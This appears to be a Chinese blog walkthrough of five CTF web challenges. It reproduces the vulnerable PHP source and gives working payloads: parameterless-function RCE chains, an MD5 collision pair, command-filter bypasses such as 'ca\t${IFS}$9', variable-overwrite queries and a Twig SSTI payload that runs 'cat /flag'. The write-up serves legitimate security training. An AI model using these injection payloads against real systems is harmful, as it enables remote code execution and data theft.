渗透测试练习题解析 4(CTF web)

1、[GXYCTF2019]禁止套娃 1

考点:git 泄露

进入靶场后只有一串文字,源代码、抓包之类的都没有敏感信息出现,直接用 kali 的 dirsearch 扫描

发现存在 .git 目录,猜测应该是源码泄露,使用 GitHack 扒一下源码,这里我试了很多次,前面都没成功,后面不知道为什么又成功了,应该是网络问题(你们试了不行多试几次吧!)

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

【代码审计】

这条 if 语句把 PHP 伪协议、filter 协议、data 协议,给过滤掉了

这里其实是无参数 REC 的特征

无参数读文件和RCE总结 - 知乎 (zhihu.com)

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

这里使用 preg_replace 替换匹配到的字符为空,匹配字母和下划线,然后 (?R)? 这个意思为递归整个匹配模式

所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有 ' ; '

【举个例子】

        a(b(c())); 可以使用,但是 a('b') 或者 a('b','c') 这种含有参数的都不能使用,所以我们要使用无参数的函数进行文件读取或者命令执行

【解题思路一】

        正常的可以用 ?exp=print_r(scandir('.')); 来查看当前目录所有文件名,但是 scandir('.') 包含参数了,不符合条件,所以需要使用别的函数来替代 '.' 。

【第一步】

如何构造这个 . 我们可以使用 localeconv () 函数

localeconv () 返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

【第二步】

获取 localeconv () 的第一项(也就是那个 .)

可以使用 current () ,该函数返回数组的单元,默认取第一个值

pos () 是 current () 的别名,也可以用来获取第一个值,reset () 该函数也是返回数组第一个单元的值,如果数组为空则返回 FALSE

构造 payload

?exp=print_r(scandir(pos(localeconv())));

?exp=print_r(scandir(reset(localeconv())));

?exp=print_r(scandir(current(localeconv())));

三个都试试,一个被过滤了用另一个,获取点的方法也有很多,比如 chr(49) 也是一个点,里面的 49 可以用函数替代,比如 time () 等等。

由数组的结构可以看出 flag.php 在数组的倒数第二个,我们需要想办法获取

可以使用 array_reverse () 把数组的位置换一下

?exp=print_r(array_reverse(scandir(current(localeconv()))));

flag.php 从倒数第二个变到第二个了,接下来就可以使用 next () 函数来获取该元素。next () 输出数组中的当前元素和下一个元素的值,当前元素是 index.php ,下一个元素也就是 flag.php 

最后就差一个读取文件的函数了,可以读取文件的函数有 readfile ()、highlight_file () 、file_get_contents () 等。通过代码我们看到已经给我们提供了 highlight_file () 函数了,直接用它就好了。

构造 payload

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

注意: print_r 在这里就不要了,这里我们需要直接读取文件, print_r 的作用只是打印数组的结构,然我们更直观看到 flag.php 在数组中的位置

【解题思路二】

        上面的正则过滤中,并没有过滤掉 session_id () 。所以我们可以使用 session_id () 来获取 flag。session_id () 可以用来获取 / 设置当前会话 ID,我们在使用 session_id () 的时候,需要使用 session_start () 来开启 session 会话

PHPSESSID 是什么?-晓白博客网 (xbnb.cn)

payload:

?exp=highlight_file(session_id(session_start()));

然后抓包,在最后一行添加

cookie:PHPSESSID=flag.php

发送即可在响应处获得 flag

2、[安洵杯 2019]easy_web 1

考点:编码转换 + 代码审计 + MD5强碰撞

进入靶场,看到 URL 有 cmd 参数,猜测是命令注入漏洞

尝试无果,应该是方向错了,然后发现后面有一串 base64 编码的字符串,去解个码,base64 解码两次得到十六进制字符串

再进行十六进制转ASCII

在线16进制字符串转ASCII码工具 - 在线工具网 (hiofd.com)

是一张图片,我们试试把 flag.php 编码成上面的格式,得到 

TmpZMll6WXhOamN5WlRjd05qZzNNQT09

访问后得到这个页面,显示 no flag,不过思路这样应该是对的

flag.php 不行就试试其他的,比如 index.php 这些

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

这个其实挺难想到的,开始我也没想到,看了大佬 wp 才知道,因为前面有个地方干扰到我了,这一串我前面试了很多又是解码又是转图片转文件都没解出来,我以为这个位置的数据没什么用,导致后面没去理这块地方(没猜错的话应该是这个熊猫图的编码,不过不知道为什么转码转不出来)

回归正题

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

【代码审计】

对 img 的值先转十六进制再进行两类 base64 编码,前面我们已经分析过了

正则过了 URL ,然后过滤掉 flag (大小写不敏感)

如果符合条件就把数据打印出来

就是这里,前面没有源码我们只能猜测,现在有源码一切都清楚了

下面的代码把 cmd 一些常用的命令过滤掉了

下面代码的意思是 a,b 两个变量的值不同,但是经过 MD5 加密后值强比较要相同,这个百度一下就可以了

md5强比较的几种绕过,强碰撞,shal强比较的几种绕过,强碰撞-CSDN博客

这里因为转为了 string 所以要使用强碰撞绕过,不能使用数组绕过

抓包这里搞死了,我弄了好久不知道为什么都不行,get 改成 post 也不行,一直显示 md5 is funny ~ 后来去小破站看了大佬的讲解视频才解决,先使用浏览器的工具 HackBar 或者 Max HackBar 都可以,在传的时候进行抓包就可以解决这个问题了

这里帮大家找了两个,直接用就可以了

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

打开 Max HackBar 在 Execution 的时候进行抓包,就不需要手动修改传参方式,前面应该是这里的问题,导致我一直无法成功,但是会发现之前传 a、b 值里的 % 变成了 %25 ,被转码了

我们只需要重新传 a、b 的值就好了

发现已经绕过 MD5 了

接下来就是使用 cmd 命令来获取 flag ,由于 cmd 大部分命令被过滤了,我们不能直接使用,比如 ls 我们可以使用 l\s 来绕过,注意在 Burp 中 空格 要用 %20 来代替

发现 flag,用命令获取

ca\t%20/flag

3、[BJDCTF2020]Mark loves cat 1

考点:git 泄露 + 变量覆盖

进入靶场,页面和源码没什么提示,很接近实战的题目,那就直接用 dirsearch 扫目录,发现存在 .git 目录,猜测是 git 泄露

使用 GitHack 提取源码,我在 kali 的 GitHack 提了半天,没开玩笑,我快哭了,后面直接换 window 提出来了。。。。。。

flag.php 内容

<?php

$flag = file_get_contents('/flag');

index.php 拉倒最后就可以看到 PHP 代码了

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

【代码审计】

存在 flag.php 文件,但是直接访问是得不到的,应该是被过滤了,我们往下分析代码

foreach () 语句将遍历数组 array,每次循环时,将当前数组中的值赋给 value (或者 key 和 value),同时,数组指针向后移动知道遍历结束。使用 foreach 语句时,数组指针将自动被重置,所以不需要手动设置指针位置

foreach 有两种语法

语法一:

<?php
    $abc = array("porsche","nba","volvo");
    foreach($abc as $key)
        echo "$key.<br>";
?>

//结果
/*
porsche
nba
volvo
*/

语法二:

<?php
    $age=array("kali"=>"12,"ruoc"=>"56","yuy"=>"57");

    foreach($age as $x=>$a_value){
        echo "key=" . $x . ", value=" . $a_value;
        echo "<br>";
    }
?>

//结果
/*
key= kali , value= 12
key= ruoc , value= 56
key= yuy , value= 57
*/

意思就是传入的 POST 值会经过这里,比如传入 flag=flag,得到 $x=flag,$y=flag,经过下面的代码后变成 $$x => $flag ; $$x = $y 就变成 $flag = flag

传入的 GET 值会经过这里,比如传入 is=flag,得到 $x=is,$y=flag,经过下面的代码,变成 $is=$flag

($x 保存的是键名,$y 保存的是键值,不理解的看看上面 foreach 语法的方法二)

这里的意思是要你传入 flag 变量,且变量值不能为 flag

exit () PHP内置函数,用于输出消息并终止当前脚本

要满足 POST 和 GET 方法的参数 flag 都不存在才会执行代码块

满足 POST 或者 GET 方法的参数 flag=flag,才会执行 exit()

由最后一行我们可以知道 flag 变量里面保存的是 flag 值

其实本题的做法就是构造变量值,经过前面 foreach 的操作使 exit 中的参数变成变量 $flag(也就是变量覆盖),使其满足三个 if 条件中的一个,从而执行 $flag 得到 flag,而不是说要绕过三个 if ,去执行最后一行代码,这是不现实的。

演示三种方法

一、使其满足下图的 if 条件

构造 payload

?handsome=flag&flag=handsome

构造完先经过下图代码后再经过上图代码

$x=handsome $y=flag  =>  $handsome=$flag,这样就实现了变量覆盖

当轮到下图代码的时候

$x=handsome $y=flag

flag=handsome=$x

所以:flag=handsome && handsome !== 'flag' 满足条件

二、使其满足下图的 if 条件

这里要求不存在 flag 参数,那就比较好办

直接构造

?yds=flag

三、使其满足下图的 if 条件

配合这块代码

构造 payload

?is=flag&flag=flag

经过 foreach 后变成 $is=$flag,又因为 flag=flag 满足 if 条件,所以 exit($is) 变成 exit($flag) 得到 flag

打开源代码拉倒最后就可以看到了

4、[BJDCTF2020]Cookie is so stable 1

考点:模板注入(Twig 模块)

【SSTI 测试流程图】

可以通过这个流程图去测试,判断是什么类型的模版注入

【解题思路】

进入靶场,输入框谁便输入,发现都原样输出了,猜测是 SSTI 模版注入,接下来我们需要判断是什么类型的模版注入,输入 {{7*'7'}},返回结果是 49

根据流程图我们可以判断出使用的是 Twig 模块

Twig 模块注入有固定的格式

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

Twig 模板注入从零到一 - 先知社区 (aliyun.com)

_self 是 Twig 中的全局变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI

【上述方法只在 Twig 1.x 中适用,因为在 Twig 2.x 和 3.x 中 _self 的作用发生了变化,只能返回当前实例名字符串】

我们抓包看一下注入点在哪

发现 cookie 中存在 user 且内容是我们输入的内容,猜测注入点在那里(题目其实也提醒我们了),重新抓包测试一下

flag 的位置需要我们猜,不过这题比较简单,直接就出来了

flag{1fb7c1b8-7fcb-4691-9623-6d8fcd46f976}

5、[WUSTCTF2020]朴实无华 1

考点:目录扫描 + 响应头 + 代码审计 + 命令注入 + 一些绕过技巧的考察

访问看看

F12 查看一下数据包情况,发现 fl4g.php

访问看一下

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

intval() 函数用于获取变量的整数值。

这一部分是判断 num 的值,要 num 的值取整后小于 2020 且加一后 大于 2021

这一部分判断变量 $md5 ,要满足变量 md5 的值经过 md5 加密后与原来相同(弱比较)

strstr() 函数搜索字符串在另一字符串中的第一次出现。

【举个例子】

<?php
echo strstr("I love Shanghai!","v");
?>

运行结果:

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)

【举个例子】

把字符串 "Hello world!" 中的字符 "WORLD"(不区分大小写)替换成 "Shanghai"

<?php
echo str_ireplace("WORLD","Shanghai","Hello world!");
?>

运行结果:

所以上面代码的大概意思是用 GET 方法获取 get_flag 的值然后传给变量 $get_flag,使用 strstr () 函数寻找字符串中空格首次出现的位置,如果不存在空格则返回 false ,但是由于前面有个取反符号,所以不存在空格才是符合条件的。进入循环后,使用 str_ireplace () 函数将 $get_flag 中的 cat 替换成 wctf2020 ,然后调用 system () 函数

【解题思路】

绕过第一部分的 intval ,intval 函数参数填入科学计数法的字符串,会以 e 前面的数组作为返回值而对于科学计数法 + 数字则会返回字符串类型(只适用 php 7.0 以下的版本)

所以我们构造一个科学计数法的值,payload:'1e4'

1e4 = 10000

所以 intval('1e4') = 1 ;intval('1e4' + 1) = 10001

接下来要绕过 md5 那一部分,

0e 开头的字符串在参与比较时,会被当做科学计数法,结果转换为 0,所以我们只需要找到一个科学数,然后进过 md5 加密后仍然是以 0e 开头的即可

0e215962017

md5(0e215962017) = 0e291242476940776845150308577824

所以

0e215962017 = 0e291242476940776845150308577824

比较过程变成

0 = 0

构造 payload

?num=1e4&md5=0e215962017

根据打印结果我们可以判断出我们确实绕过了前两个条件

接着构造 system 执行命令,查看目录

/fl4g.php?num=1e4&md5=0e215962017&get_flag=ls

由于 cat 被过滤了,无法直接查看目标文件,我们可以加转义字符来绕过

但是又不能出现空格,所以我们还需要绕过空格 ${IFS}$9,接下来就可以读取我们的 flag 了

/fl4g.php?num=1e4&md5=0e215962017&get_flag=ca\t${IFS}$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值